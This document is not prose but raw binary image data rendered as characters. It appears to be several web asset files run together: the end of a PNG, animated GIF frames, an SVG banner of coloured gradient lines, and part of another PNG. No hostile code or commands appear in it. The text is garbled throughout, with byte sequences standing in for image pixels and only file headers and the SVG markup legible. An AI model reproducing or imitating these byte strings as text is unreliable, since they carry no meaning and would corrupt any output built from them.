9ٜw54tNFGM>@ZʑΆWi_FGԑ㺋8?tt7+)Q =V(atF,銏2:S7	cpR\sO&}:L'}h7ޞPI\._鹶_}ե__X6Ũ	RQi̓@BA~=l"k}EDa
`嶶a(P/)G#
~Px{})809qa,[sǄ"
%i&<OVߠjO A5ID0Ǟ9w_zXf^wmzv&r~L;tm$s^>WRVeH\J;ܬ+ky[s0q9q<q' :.un!^KwlsM$NsUZ啊$o{TV܁%tcHj."7iCݤ\96(w|}z-FM!j.~bO6Vo恘w:9_$2N{gx[7"[>lTZ[?l~;yColeܾ[l$ݞ'Ht{`7M6d'MO7JpXefp޸Ep-DS_u0;pm[  '?<p7ׇA\;Qpm7 adp0j8F@AX6DqAt1#FGcm0:\RY
P9qgq^8/n%8p4!5Vx}b퓪4&AOb-	kOO'O^PǑPߚm0:^;ጶ"
G
O@a_qrLMѢ7]~&Gm&劐+Vnaa|pW|}	g.ȧ4QͳDF>q8Ds=iJF=<c}㞥EtPKǇhˇ-#7Q!_iWâPXMWWCaP@,8taǤ|1?r>3ijw1\fbt>r@ƛ.Rmۚ$Tx&08)`󨁱ap=7r&=T,XA&xXV3ta
QLkǕKD8=yǰ8/ s$΄Me`\qL
%^4mD&w"k^$$RT	Ag}1Tpj 3dH=HdCyobV;!
_~Y9@d+e\9szz}]&z>Ow@혥|`=MmwHs }Mc`J	8%Eno}?#=,8_omvǶʡTS֡m;ȯ%ٽ*60t231'2|QȚ\hW\/dfb秋=#@<N ^O
E*c6po>w4*QɅGyBMFd	yl$jPԏuE]czO):6w$O!MOqXгG+B@ft3/jbPrHq{jmjrdxN7j$X,R˭zE/ɥzI
؜Z2m~iƄŦ\e[%A׍cQ =oGWŀ>O`VTC8:yE6xwI&JAg#AT۰۩༶`}W&a@<pjrG3z[^1ZcfՕl&W Hl᫗2OGT9Pl @/}g
&CUzqgRmIOU<R2WG;:F;IҘJF1D71l1nО󁛈skGe57xR)3WJjdT 5ƔZF] BoifN$R<-澸Ky]$xnsĠ{4t$ޞPb|C2|f`Ҝ7TYPJx驹uCMz1_(M.sqf5۵%ݎ*kxj f=P
@?:GpoDnϮ#oƻs58}*޾ɨ̓jy+sn2O)I]=R.3R?7p=p@HY~}}C_2諮^#2|IuttǓ^ϕ\ҏƘSL)Et364oXDb;z 
0v6	_*x<jEӗTbf'.:'a6u8Ȝ(ːEtp2a&3P1Pyr.8K?[Ft^k({= ٠7hX,a]m}iSJsP),.W^-5W%j.CzyGFnj<	Gڈt
o?lѽ{?zG7VCD{+8iKlMDyֶLmm~Mƅ
࿂Ω_ 9edL,PKŚ'CtWT]0W PP斦hdk_ݥ w&(^zTn1lŮ%q!Lj 	kv]348`BF|UEYDL	r	hTj6xpI<?MczaD:buLܺ|ǒ-b9bS%\Z͚ʢ7Ma\l^]*шG5:<Zic/}.bqڡ[{b}V:B)׫}#X?qC^oվ)oh{^Oo~9+gj&zѧ񽚜3%?LQqŃLCdfo&޻,q[d'w z1b-ɹ@d<5 AjA W9Psc+-T(/ZCIC%V"@E|Et.YczKˠ	ֿ6
FͦvT5｣L I	n3hľ>Zs6
 a2q~ȉji@5WHCqYWWZ鞛A!>7IX0 .J:q%ɠ{J\.G4@Oӥ3|_偃%7x铧a5JKQsAlTiDܤfEaMx{Ͽ,Vӓ
Cy"C|
Mz|-/oאOaOֶXƩWٞ0`!%~~rHsYOn['BkIr?qVͷ*Ni.7<?դ;I }EՎ#L̅w4:^`>|G<U<
SJ/F1&^R׸%KBrT>}1 ӓ6馑U
:,MQC)T$#&]͍P z(12REb}2ƿyop+a2c'I|ѰݡQ	*W_Elɠdx uju'jn+eRXN	1Ov["
떚,n
F$HHF#?~P+v?x	$@Aʑ|9y]@(f\ A{pefŔ) @8v /ab;0,!%OS{NSRZ'U׎pE`pM4:};c=s#u;̘;rmUY@Nyޤ5Ky^Ì[KJScLN9
=n`O~@?3ߠ4/lWzC=KHd,=.u7ԖXW[4ˁ"z. o%\R J>蟛ğFz7,4U2p>Kq<C=BW:QG#+a8*ء"|~`'`Q\WhxDRT{[K|m\2bo|_@JR>ʁ>Z_T"HY6ɱs8dQre\
zH<Kؕ)%Fmz7S81OD&2@_QU,W,ѻ<~m3)P`;Z㩤ϭv%bn78 L8wʻ\,S4oocRU%}9õ6Ny2GvKtHXse-g و5'FRzL_ Jc~Vې	Qo8ɥ_3vV
e|Q;`ШT̠Pz=lr/ }ЛYzy#?xr)lBh4y:0^=7S
,^y?E'#4Q+DwGA/xqjm9RbA_-%R&İs/
[R%"1ly)ܛzx
d7lByA_Q7#Lcl֦񑑑TRa81B#9epe@oK$٠ϵJ$rRAQG}YX[.ƕSMF\K^phaj"u Bۮvfc'!O t|((U< H"fqa [ٗ"=M[z5TbvG
ʄ^fЃpRcy-pLkѩ9C8L0xO	
vv߷uVfF{Y|yo!B/{?_nJBvP~:.wZuѮ ވ9hEX`/i, +NMNI/"xW#XC/!q$L.
tG:6pu9,0ǇDlB)U,i9ώ.lэ썯LFa1:9Q#3K.!rAf8R&q1L6A2)e3%z*`2@(-sw"O#9w>Y[-v2Da\TH\HD-5zbB8J%OKwg?b(~eӕUaǃGA_}XM>˟$z9H5{Z7[hЯQЁIo)rRĊYTW"306K=[cc3a?Xb`䀾jq)';
)b_0wT%4%Ss~%&UɨsKJsM@_ɴH}V_Bɣ)$hTBqbhm-dv&:n7HFM
kk/h>l^$f:^tz=9
1X:LNu^U3`䁾T}lo;c%ׇ	m 3Oꛞa5H0.xA櫯'`!	ש`heo:ݜ#Hf]|eQ7/Y2PU`BFgru/U*!fX	1Baf^4үY8-l[߄Db˕><ρ^,}!P.^"跺R=Kb'r~|6HdL:\wZE:+3LS9
j;bqfOe*Efp%)dɖ1B1C 63kkϕwS>LQL8jja:0@h3W~Pf
|@_X:~/&{<
?笕LFTȟ_zny^"6#ϯ
6]o?ڸ!uFSZM!;Ә;BEnGbM;DӅ:7>G'zY6&T$sGmJ=kV-ҼSYf~*t]
WҬJ2wNZBƴD^br~Ve⵮@&w)F ۄ5C+F)-dlO*S2ˌ26/e|#<.$aY@z`Abe|Q_:~̠7p.	tTe
([F`|H3dp'[z**CojrJ[2믾p{7_yu'`[pze+-x8ˋv+IN%Ә\R2R`R'g
'|y&MxEɠ7ݖYV;ܠfAO~/ɕ{-	4=ZA-Ћ`ќf>ߌcRA@uD.}mk;w|@o^[zuПSpf1`;2g}DW<WK&.O	ҠϪxwJ>P.MzVpbxZehTT^ a^ǅFHD>sXR
]gp7<isT?	O>_x{}x^`#]z8zbUřI&n]Q-|*LţȦk>`ܪ-#	Qכ6v(%.}.4Y[NrЪ	F	Y}A%FƒA\[sO2tCg߻YgzjzFƎ˖h
!r2'Of1ettLTRJ}O#=@=|8w7ir^,K0\Y5\.3A"XL!.{ow_3߻?F秴F1ǯW|Sy&xϣ~W?&
c~Rg=b'~6?8WEIx,K ˙M94<urAS=!0d)R٢M)|z`Uf>תfRAZA_)noa
L&5ԖdG[#pl.Fc
4.]FW"[@ԑ6g(Bz8
5wI̠yRάI zy`@"FPeG<vg=Ar91!9Ep>OzBJ4}z_za[ %Lz^Jv~3;F
u0ї*J崻a>4z3ۦNdWTf5v ~|1BD/%X }|l,A/%G|li&J"$.y@6ϊN@r	,}Rj1)C(xN>-Y..5nP&8|
ɎH)m-3r!J5e&QxЁf8+'8`0HuU۲/L7~4ؑ6{W_}Лorfb$BxtjE usļ:N})lzbuGy)+J\f}P=iDt&32r =!*VBm?AkeO-1&WS?UpʵωZA!#)L8{`]
dhLѝt{rZm&4{t΋tܟFr#|e@ P/afG`..!YO;;by@@o8ؙ*F*+֥I	x+Aο|^dZ׽丛O$a^x;
MzpbEc9E#9U!Mj#0?rfMoMztsƤ/'9?}&_"wddràA$;S'Qe`=}y<HuiZWǑ5B3mh>gI_Jpߗy)=Oq7s8ihohii8 //$Ng	X+*p/'J[ 
~gnYMV;s'`O(:l;<1<1p9~;
A,/.2h4RA)1䂞hca~Li{\?t'p/yr@+f
{ꁵŌά<LYxzSNr:EHup1Ibakd=	7;;yIϏ)++ZchASX'QDnntЯz!Q:Fozs.1i;<{%-c~ٗOC48~/F<Ϟ5S:T"/Kp=n;2#hI,BqE٩;6SpS'̨K#W㿩^V/LƖ/@M N[\.u|7TrT*5	RtzociGw7M^8o	KwWm:e=
e0xbBQE5҈| KU2諷|m$`08T{śދy48<sn#Bρ+W6Dp&]tBb^'E=S,TN`ٹ1TB1|q8]_^O^狣'L-5bmѨtlR&P.sٜ+fJD(KQ0Vtп\[ǰrloT)瓡,'8`=`Gzٮ>翁sЁ5`
!|eUfWJ|\5$70ǎ^o90~I@_e	P<p'k<w9yc5l6C+]	Âp)q9-$RݷZU˧)ZbW`.
z!BA0	3=/tT`9Q@T+$3/rzT.;z0kB{FO>~W\gmCc{XaY@I&V_bS	0e	-{mW/Xxڥ~N	:nƟAO@8
cϻ䟴c.M~<%Ѹ\XDU 
z
٫z 6S@N5V.`9K=pã6\(
3pR(LTe* U2uLj:
LiPc`#M;V?t)E"7Nq>;~؁ɝ2ʎ:GFflK	z\?@^J	gCR<,!O)~h#v{P˹@z>cX+eĵn>=h%@sJz2x2yc1xdpj'i'p{w.˔Ӥ#/אzTtm٠٣KaJwi,NH8_q?dI2
A?O9ϳb<
hu0=ؑƵِo<&-#︮lg*Ͽw`04+)ZyD=:m<̖EϮzvynU	oO{Aoť
zʿduu"!tsT	D4N6zYoM&aI"yM䮳g=jaE|^A?%w+oQVhֱ0>ghҋ,|&KUM&VP,G78fݽ>գv8'nyHw>~GXj.ϓA_._(>~_3
HW.@R8_QΛؠ/|y'ZG~*66u_"/f{`Yb*huY
u>Y@
`

8v[FXa:nJ+11W&㊅JK zJ->2UmΆӪ18]Јѩ;u+ХMg6?#Um	L5=pXes(YIs]9K*2>H߳eWm
2էa7>Lsp)/Xo0r@O78Ʃ7
8o|VoڋL\+^we_җs8.>{<ȗE[*l8g2,NHtXh'ܭK;Zq~Cz.gCrM/4(̊.yuw:r]TP'\f+\\׶tuT]?$mسl|Χa/)o{i:̏Az@
bσ
wygHU s oԱ+ 2q߸n)9crg,aF0C	j-uDV\`
!DWoy#}}l"ohiUI
J_\oSY`)oܧu8[٨QG"KA_5Gzr@>3_/"ͷ_z~ػ_}gȗp%ş}'/~xf^S}U_ 	~v=v鋏|+_|ַ>誫)w=/sabrKI/s֒@1ߤs?=x`!ß-	Џ
;67%}nuBOUĹERy=\#n/ϾI?|Jf=pC߱/C?}H_$UhEK13rXxݔp:{/ݺd;̜#^qMپC2#.Ѩ7`(#uL/~ע"yڲj}:68>KDOdT~JzȰW&;tS}ҭKЗ#_"8UWOfwg??=Wr}IX2k]
  H)P@h ) %ppPxdYAK` CC:Dߐ{`xw?	Smy]kϾu/CWqĽ<ЭVrSÙ?T~ajU72,jdpŇbd;ӫUL7rqvoFL6MVdePkklqYFz=&њ^Ͽ$I_,uajר,z&Ľ=`-d:@/~(l&5gwK3ꔬG<KTƨSim۟]a
                         ;ӥ$P>|L    IENDB`GIF89a   !  ,      @ajONrѦ9nY ;PNG

   
IHDR     -      PLTELiq   G;v{  R(c:lFGL   QOJFwVLJMKLKI   K   HKKK`I      JMR   
LQM]D	dMKJLRE8iS<o7fK>uHf1[sD~y3`y<oJ6da8gp`3f`4a{[<o=rAy9j@w   2^v:nC|.<7eZZ]pAxT]3`y>t4e3_xj6d~ٟmswa)LapD~9jԝ(Ka_ԜӜ =MMVq^L\E䙽Ӫڒе߫ەlؼ⎷OٴdF脱nrûWyTIܤئٔъuj푹agꆲ˻}|xHGoJC{?t;l>r]ݚ7j   tRNS J)B=PgܾY#r3UG"ݚ{*:+ֈ42m_l:a}DwJޣ#MKLMҨGO$}t᝽f:|G  tIDATxXGp\9K{رۉs^K${[i$**HBBeBBBA`D7nz71NJ`#kߧ0KVE2$H"$H"$H"$?6\bsqH_,/Z5@;ҽQw)?]ZyhYR|M(	Gl^Q_/pv*/[gIzf/w7Gejͮ]kV-=J=DKZt#ȢˋcE8=0/<,D1_i,.!οz?LwW*KT.σAuS	fw8h/MKM=te
O.լ\_x$~%GrdXoM|B!H
r9%r^oA2LdFĳi/D}Pʪ/"MdeeM,WtW\jQH6@"_K_3ϲVAyd=bGtkv
}[覫곘afkɌ~Q߰=L1v k/t*)WzNNY})0F
M|$3fC~1|Bsae ЭFP/9}2t;[R+-xH_V˂yThR!f"dCѯjCUsc$NyG4cGGcy8U[ÉQC%8Ye&Մ\NTIۡߘ~nh(le+o{'jѯS;Ee0VakGx(ʫM*e"]MFFTNSrJJp**lh<ˑe7i1BA_}Mo.OƧA/1
8M2I 610Ϸ'/ԸEBd
GXP$rx@f텡ց|64dY~^5KPɓ'm>d2 jD<#9ۄw^)n9)'p[	#
DJ[T^^^NiEgJo%_T=i
Z|#.mdwX/@h멸\Ԇ[D-U3W0`^!mO)'z)*	UmЬ.<ЕQ(غFj4uO^z
RЫZyכ,bYqSgi<E ׄW"M4RY_d}ͦt2K-DH_L8c[	eLxcᤌe֬ݚv)+Z#FϨowbåc,\EDTm	HKTҫ^[~tdWBqrFH6o;OZgΞ<}f$>}С.(wmP4ib1YQ9OYPɱ_HZc1"rDVtNrXc 4r:(k8
(apy)xjQUa
q1@xP*_5ӣ7=F6*<VU+\$R/3'ǂx%SrM {vG7
+	^9qnH^rբ[N4<~ѪǓiWD
-PGJ3g2câ?oH}6)
!$e>7}e<t"(-GyPy%adgL&=rrM0\̀C/RrYRK۪ٚ/Ň~K8ȨDY϶b%.a
վ!,N1sCWd.D&)Bj|Nnn9}3wl<]}=-l6 H \\&tLzXFi^SKX1PDΪr)DQRΚik:B ݧ{.=eB_Ʋe~ʒe_s"c8xFHVDҢxrz
L,	R\=l*9j0kWZc# 8;]jWZZ5#9HAQ*yϳrڙ3'3
'u9H\5Rxy+kK$Wڑ񘷙d1^@DRRW/]ʒ^$`%%ۨEPʱZ'LU+ZJ">% t(VyWp:L`-sL&bl:

YᒧJCA5UTMc/0l;P8ͱ&؉K2s^_wٓC]
=~|TCɳCCY=3@;A}TT N}ؼ55FP0#Hc DvBJw9><22Z:
Cgk&LR+$@0!NkB-	)ّ1Fi"gǰ9^z#
ԐeU'UDenRԢf].SضkyS?YQd_!لD(lEy}PUwg'o?qPmhk.:=HU3S,B4o}\IW0-u(u%._nx>s
vM>zy#晅Fiȋcz(t9,G. N&"Ү
lkGΈbgB95J*B^ϪDΞ.á!#LT	y%`핣LLXR,<;hPSa=a-6OA
JP	hb2|;>j>$9yIކ;VoLCoj0h)EL'Mb{N7gJŅ".yI2	lrѨOTv|E	o'EL>D%GO;L'Sl+eCߚoQp>mÁC/b7ghQaS"AY##e(uX^Ar{=_Ͽ3.żjN>#
?׍O>=$UZ-D_T=_6	dhw՝޴v=W0w̔"K>Z{gt
l½PMn.F	?冓^0ٹm\Tj𒊈yq`iPD2SjH8
Ve!ۇLJ1j
S%@̨V1K9V-6ժn]
_.=NEK#cBe8LETעMcBW[WzYl`YB+D)A]ZTWש Kku!лs\4
FM3WqM`p͛n~EzjW?7zfnHHmiws4zpNQ:fcWdwK
U-l?/WN6ߟ|})B_	UV6]l b9#[Tޱк,.,U98Dᘫn>wh5=sOzQ$kQ,겏,Y2P7t}QlFfяTOCx]zzlHlcj=y5CoQ'V!5Fcmh qQzJu@|*4CBTOT
Qxf[XA}9\E@zLQ_fСڋ^	jo.vds
) Tڶ{c9{LA\.5g7ԜGGvw
x|^FP\~SCR@PMw޴=<O4yf^u(;y
/Ѡ=SA`TL?XzP׳X6*@o4 <?_R/T'Ƀ@I\sԇXJ6q΢B>-)O2p}-Z4j^Z6W6WWRv`#F^쨾
3?khj
\`phaѡ/H4bjA 
$<*wϟ;gF |iJ4C(^(nmjMd8K;nXjCE~Ǥ{zj'|MާTң+]TY+ apRT>z&j?fsn_U+q0@uV&m5fo듆
]SMM|4pbȒOɟE! '?(S[hv88->-cwr>7d-5R%=[QPParU(2Ρք'ANNf#<#/O^roG.\^Geqg䰭V\%*#3+z%NpE%8PtT_adiQJ(#vvg|Bi
:8/\ DGz[AwoSwW)oz7
C,GO
iPEG*DI-c^G`.m}ռS=zofq"|RJd|>Ⓧ\NWyFPȖEoSVңG%*lffexc=8i$(N_KnmfP̘MιJgPsmZ6cjJ"hy~lZČ[
=#LԩNMmhTW?4hRd	BH^l|{pn^d*R^tG-5Mt 5Ojz,n4U8G+އң_≭תWe(4v.zC'ffVRu٘$~>͸,uHnm>=1uO2Swee\UznfzD!碠Zkٰg@}Ko38hވ¡br)zp64}髊|ҸVSq{<_JG<5汋NDLr/H'	F+^)1mGO%֙ᏘOQV	@jo7M=
g~r9 [ңOpZ[8'f{
/|SSS?>poZ7uqHG_cAe;
(Yh-a<ƫBxb"=zNtL=
}`"7)[i|p7^=I=32܃AXJ6J!wF>@rՐ*-[=|)j|mwOhuM$SS7\̷@BFѿA>8rC0}OX\jח0jFB֋t,zm^A^ϳfGfVf먠UZ2zڤ=.T𥒕T0?Fy	WGn054uӧ΂E*砟J4,PQL&#bD3qTz*wwT"?~ \@<1aV\bOI9C~wWS}YUEw+H^
VLJ5B)Ң_k}xy)xDƼ{^ν:?57"B*KW֥~ycH9Z\8OrxPz<CQ
4v/_pE:bH}S1:mmvM}?ߊ^po}\s
]0Fͩ+'D2UaE2E#nUX
uo~.Qb7WO J1x#  {3Q+/wy0~f4FKJ؉0c?VF)ңrO}$2VNu5gXvzbVnD3z2B,C.poMHe>F&;Em#22h>%M=M,&Ysy?=:maGq7s;ESvD:/
r))\B]P
9s7ۼY7^1ak.ǕLXx}F]`2nYОSEAbf+5057,aF`,;80XO.ܿ{_o޼ nݶW۹XɃ/}>-O?dɑ/ݓUsO8E3s>mg
2yF 4,fHj`#Uc_/*_7۷ymwz-%6"`"Ae-t#
T?qoA,qaPoܾ {c32m<omv-,ޭq5ECwfKvR7\@۶%rm1gfӟ7Mop$z0:}厝%vw}L#AT3{W7ubO$3ƞ#-Oo'?>Z~Ϟ{|Ş?cݹwAn˓K϶>xNU'ƯJW!lQ莄DI$DI$DI$DI$=[    IENDB`GIF89a   {{楥εŜޜν{{{ť{sssssŽ֥                                                      !NETSCAPE2.0   !	  ,      @p:@3dGҼ|3P.R11`0"p
	M 
 tJCpMB}C } v ]f ZTC

C	Rlm stxnprEHLCA !  ,       @P:@3l2G !MEPQb
, #X,4"EQ	v
~ M	M		! C 

 Ov	 s{,bFqZeN XMBEHKMA !	   ,     p@PP(2Xx40Q}!0$2|ΠP P0pg%tr
J(J
 

_Er kA !  ,     @
0"C*"CX(4 J$B( 2o"2b a0BN3v BB
U o
  OE	
ZB 

MA !  ,     p0!$pI`$haXb+HFU,gIV(8*9S
}~J} q t B

l
lA !   ,     v@A0RAcY"SBxDW'$,3B^."Km* }~s}
v%

J
 %K
}

BA !	  ,     c`&fEH1CվD$ݮ/2PHǈh,ah4hL Xqc0ȴ+*#WG#! !  ,     ɄAKC*"e$ Z0PG&!DpNm	BB 		!		
x"x 
 O

YB{BA !  ,     s0SX,pi<1DԂ@Pq0;XBOK~Tx	
 		Nx	NK"K

L	LA !   ,     e  :L(bBѼ	Z15Ka! C D*e<e9X3R X*[2B  ,)g@2!
zK|KX	Q"! !	  ,     r@P0p
$	%cÈ@  8"!`oB|
qzgk

zB
BT		C "Jr KA !  ,     @0 ,A*")0 9xU 
Cp^88!1@#BB{		Q

 	y{y	syY	  mO ZB	MA ;<svg preserveAspectRatio="xMidYMin slice" fill="none" viewBox="0 0 1232 240" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
  <g clip-path="url(#a)">
    <path fill="#151515" d="M0 0h1232v240H0z"/>
    <ellipse cx="616" cy="232" fill="url(#b)" opacity=".05" rx="1497" ry="249"/>
    <mask id="d" width="1000" height="400" x="232" y="20" maskUnits="userSpaceOnUse" style="mask-type:alpha">
      <path fill="url(#c)" d="M0 0h1000v400H0z" transform="translate(232 20)"/>
    </mask>
    <g stroke-width="2" mask="url(#d)">
      <path stroke="url(#e)" d="M387 20v1635"/>
      <path stroke="url(#f)" d="M559.5 20v1635"/>
      <path stroke="url(#g)" d="M732 20v1635"/>
      <path stroke="url(#h)" d="M904.5 20v1635"/>
      <path stroke="url(#i)" d="M1077 20v1635"/>
    </g>
  </g>
  <defs>
    <linearGradient id="e" x1="387.5" x2="387.5" y1="20" y2="1655" gradientUnits="userSpaceOnUse">
      <stop stop-color="#3858E9" stop-opacity="0"/>
      <stop offset=".297" stop-color="#3858E9"/>
      <stop offset=".734" stop-color="#3858E9"/>
      <stop offset="1" stop-color="#3858E9" stop-opacity="0"/>
      <stop offset="1" stop-color="#3858E9" stop-opacity="0"/>
    </linearGradient>
    <linearGradient id="f" x1="560" x2="560" y1="20" y2="1655" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFFCB5" stop-opacity="0"/>
      <stop offset="0" stop-color="#FFFCB5" stop-opacity="0"/>
      <stop offset=".297" stop-color="#FFFCB5"/>
      <stop offset=".734" stop-color="#FFFCB5"/>
      <stop offset="1" stop-color="#FFFCB5" stop-opacity="0"/>
    </linearGradient>
    <linearGradient id="g" x1="732.5" x2="732.5" y1="20" y2="1655" gradientUnits="userSpaceOnUse">
      <stop stop-color="#C7FFDB" stop-opacity="0"/>
      <stop offset=".297" stop-color="#C7FFDB"/>
      <stop offset=".693" stop-color="#C7FFDB"/>
      <stop offset="1" stop-color="#C7FFDB" stop-opacity="0"/>
    </linearGradient>
    <linearGradient id="h" x1="905" x2="905" y1="20" y2="1655" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFB7A7" stop-opacity="0"/>
      <stop offset=".297" stop-color="#FFB7A7"/>
      <stop offset=".734" stop-color="#FFB7A7"/>
      <stop offset="1" stop-color="#3858E9" stop-opacity="0"/>
      <stop offset="1" stop-color="#FFB7A7" stop-opacity="0"/>
    </linearGradient>
    <linearGradient id="i" x1="1077.5" x2="1077.5" y1="20" y2="1655" gradientUnits="userSpaceOnUse">
      <stop stop-color="#7B90FF" stop-opacity="0"/>
      <stop offset=".297" stop-color="#7B90FF"/>
      <stop offset=".734" stop-color="#7B90FF"/>
      <stop offset="1" stop-color="#3858E9" stop-opacity="0"/>
      <stop offset="1" stop-color="#7B90FF" stop-opacity="0"/>
    </linearGradient>
    <radialGradient id="b" cx="0" cy="0" r="1" gradientTransform="matrix(0 249 -1497 0 616 232)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#3858E9"/>
      <stop offset="1" stop-color="#151515" stop-opacity="0"/>
    </radialGradient>
    <radialGradient id="c" cx="0" cy="0" r="1" gradientTransform="matrix(0 765 -1912.5 0 500 -110)" gradientUnits="userSpaceOnUse">
      <stop offset=".161" stop-color="#151515" stop-opacity="0"/>
      <stop offset=".682"/>
    </radialGradient>
    <clipPath id="a">
      <path fill="#fff" d="M0 0h1232v240H0z"/>
    </clipPath>
  </defs>
</svg>
PNG

   
IHDR  l      ,Qo  yIDATx콋%]&`'6&vwfc؀ag,bo0`-,^lղ%[~ec#ze=֣9̬s61=ܖԒZ{e:">*+++~g<mmmST2[g\p?QU	ǍqZr]aT2B޻w?~@/ccbST2P!`'~#STlST= SGLe*S`m;Ne*STeLe*S {*ST2T2L=Le*SyJv4T2L]&T2	2Le*`Oe*S2Le*O2T2L=Le*S {*ST23Ne*STeLe*S {*ST2Tv,˩Li_SGLVXb1~_.=c}h*SyZ	k ;^r%y7~K_8qkָuxxnL9pPu>oldxqhK|nC8!\A[;p,͸O϶^mй:u-֙^֖r~}\u辷n¹[ZC:66m֮Cj:v@Cu{jg3Sʉ, |>۷o+Ǐ?75<X7OSlSIo͍tqscLd?۟~߿:o[3}E[z[uvcS{ؠ>֑ڿ-}ks?=M?յn[&a{}s=m/q&tV}}~uln~6ԏ[_w;>o-?>3lamBnlf~זn8:q}bq~~|w
ǜ(q~[٧^6>gX7sw?\3_e?7>;c/rre6
TO7RYO~5vqխ8~\vt0.S}K.XϨkJ7?tjXl~[.t0vtl:c1.Q~Km~舘!mXnOOx:u7Tܥ{o#aHu
Czy>!]KV2k,
qqGľfouGhGDϫ%4tѣ^>un{mR]8w5{<y+ׇqϹgC?|tސq#}^/t,=:;`/ni2>ܟ^q|ٯ8ossPqٓ>K8~j|N7cqj߼n|h/g?tώ3o8fkf}n\%6'qI ȉ	Zo$8c.x&i&@Iu)MЉH&}`a:T8&2<	ߧkuGqS]s^xN@E͊='5  h  = nk.?%u{sp]+߯hÐc6>@>vz->&\uᢐ~'=/}6|ohےhIB]/+/3(7CT
؋}d|E??~^2q<G)-cquw.r3戅cp,ݾ38{O>sw4{~aw~18;^
6=q&Y\pbHd)`3L "}p`8'" &ձN`P"Ť.f[dFK(#\0 o (UQ^y?1Myt>=$Pb
="О-
q` F"^ɞA@
چgkXzKq .YX8hɅwx~q-JXF+18"`cvqP~o:v}k2./o~(P_(098uV3Wo߷:X98ugEj0k ַƏ~t<]l+(ufL'mIiBa
2m=t>&#l˞&/`A[ibF|xs₅W 	Y6AmYg'6#l'Ydo`=1_O&s:E6މ
5[A[G/-
8G ;i(7ytfauK%U0MPb} hpbWd@%e`1. \:,' <c5$#o=ӹT׎-g	q8P>S{ht.A;յ{K~(P80ƹu= /W]u5=p|8!hZi2uլ)tb/˕e KA$sX/@2RrDgPc]^i- 8;i>5N2N`Y,nEs,s%!PaRj2=
, צ=4Y3ekϽBѓ!
,,s`KNt`2c`vM)ːwY;,!w%J-,t| HcQb}Gh{~t&Y?8Á;@]skљ~8Pکԅ:w}|z:ɬ_##6@]Ʈa?dJRm̎(}z<d
 $R1iFN%&e#+ $+dpfLM$[ 
eRF9Ҁk 
K	E p
 Ƙ4 
.:{ m'ҟ%ԌWNiқWb1v&ȚbyЙ%+t]Ck=$g@&9h~XJE]R5r-o.\|ݥ#ZjFLV)3%3ؘ8Ufx[9"XaQ@;ՁPNog^=l Sa#6@]sW]I9X~)@]s7Q
?^wu\x\V?vYi1'۳̒ɋɿP&<'U륀3xħC@&J4ZjFI80WEbW,`J ٭Y?A3F3s?eWn,T#jr>Rle')$$+0{  F3*J*fXGbyQBK=u"ueNSY<KXb.`xø>XZQ'>f5o<|Lc6BXw7?(ݏַ>@n9"Q'>рot4~+_ebÝ̦8r2mx2),MDv;rq`I9:_ie_ANi>J	:	b4ma3&<f'+ZA5xCnh:N#:	#\rH=332|@ #l"&.g(_/lW
pH	''4Yl0E;5s,#(1\r`s"#ϐ#piYC8]NNB=]?X?heN}̀}gv`}3UͲQ'>I5>~,u
뮻s9g\D)9w%AKUfSQ˴V,R9%.js^J/)K" uV7RQL,}pJNN86apԟm0fͶ*.;f]0TLh6^:XpL ̶!(-Zƈ
}	#[5(ћG.l8ˑ,Ð(~t9ElƣGp<R^{gGGXvukSv}8Xg~xy8h.:Q>rT?]
X?heNԽkh`$\yN`K)).=Xn6QQyHId)gn;; -)9Ԧ̵9E9mh#Rs8'2٥ȨH
kJLȩ+qWi[~  v۱͌KHx{e`vn-qNRJgK GL(owҡsB CV:(, 5rJ
NNnPІqjHa{^X1+imyˡ3vDG뇁uNH}8Nucm̖Ĭ}S̈<!k0쇃򜇔G u֐B w}|O'$l0<
ˉdiuJ'awcx
h[kKA@r8ffu3*GA8<Z	U9{e&"VQiK'8RbL~pb[ҐTCK!}IAҼGkKg
9^y]:V8}bDS	-tug'<-9Hgd2()NB5Hor)E0rr$2/G3vCv1Xw$~4~8~8`:-rCDl<VNuN}"5\3k8$dVCCN$N)I}6P\n'bpB3#4o$Q+QK/S]i;%NX)|X)}ٛRO^9x04*R ##Vf/G\o!+ct3~fӎY!.G.RtkKdƋwQVҭ?S{w)\Ih%<q;q  lP9|ϗԣ{?#m=LP'uh"w|R8ڍۀ}m>6`s1uv4~H;}|{Pt㖙 -,oOnz[)ܽӲer^(Yae)1a%ӼL@*T%>氻n;E|NW+htB	(ӧWbY2enŒI3T99bzЙw^ Z9b)	e*sR!x/öT3XnY:U~iЌTb}GduW }uePy?rwfy-x#Y}'ht$}̀5Iuky$OXg)5K=쳹{Mei@DƆ1h'a:C3D[02jLv~B阍̲>3ޱN7D\<>o-fA(nJKZP0zms`eOȾGѫVYZ?κ@gr *ov3AW\=S"8R6qK&(i%;4ٯgc4u,zHNFW)2q܎yqNc]v:kvx5 &_Fp=JXUtB&c7rp9	dS	bh1<(L[cpX38%@m+9h&N<,Ȁku!jc(˾POQ(2[&ILQ\k:
g)G[
xe2[о.c;fQQOvXiKԟWN`S̃@7g{vYD`E?
S5o.h[#|v{v-us]Cھx[v-usY_WƳ:kܗ4mDh'N [:܋ihx/		?Zdо^p &)}$ĬFH
vCf;Z/FcOpbr)mw .	~㋃"b`^(*8z',	d0㚳<	brͭRÎ 0vqp3YG,@'9;Pgsî)]sJ=UQ"M+Oeώb*`?xݵ8@%ΰcl]KAUW]5rlJME4c"Ɖd^hDc̔;m	כU H!(xå5f׊ӹ 9Ȟ+`%V
	%av
wٱ6~F<8]5z bTߠ>^ dArN윅hS<x01] C -i&i9y_;`)Pr%d_`dz"	(<zILdG1vkSQ玵Wxj:ܩ^D}kܕ;&O+m\H(6=JP?2('3g5mqs]k;q ɨ

K425B.QH6X^ۖ!$0s1KYZ3&Kgl+zH~,':]ܖ$?7\r5t)\ɏ#CjG|(?O,d(a1H	8iOswWOswW͟P>qb9Iq׷zl1d}qIwrq;Ἇ2oHۦ?جTT	\9sp)l8/:3BE`8oIW/*}&;mI4^L'Yo^2	W	˥iŀY t>P `8t`ly#:-aqCtT
&5tyt:3%R$o,iԝ`p_3;h )Np#rk(
|UьTwl{UԵm^ut}{wl{Uu<p)o?Ku?$N{^o,$G`e~s'>qF)lkS/ ߒSpa㐑}ZzӦ,/F@pc@
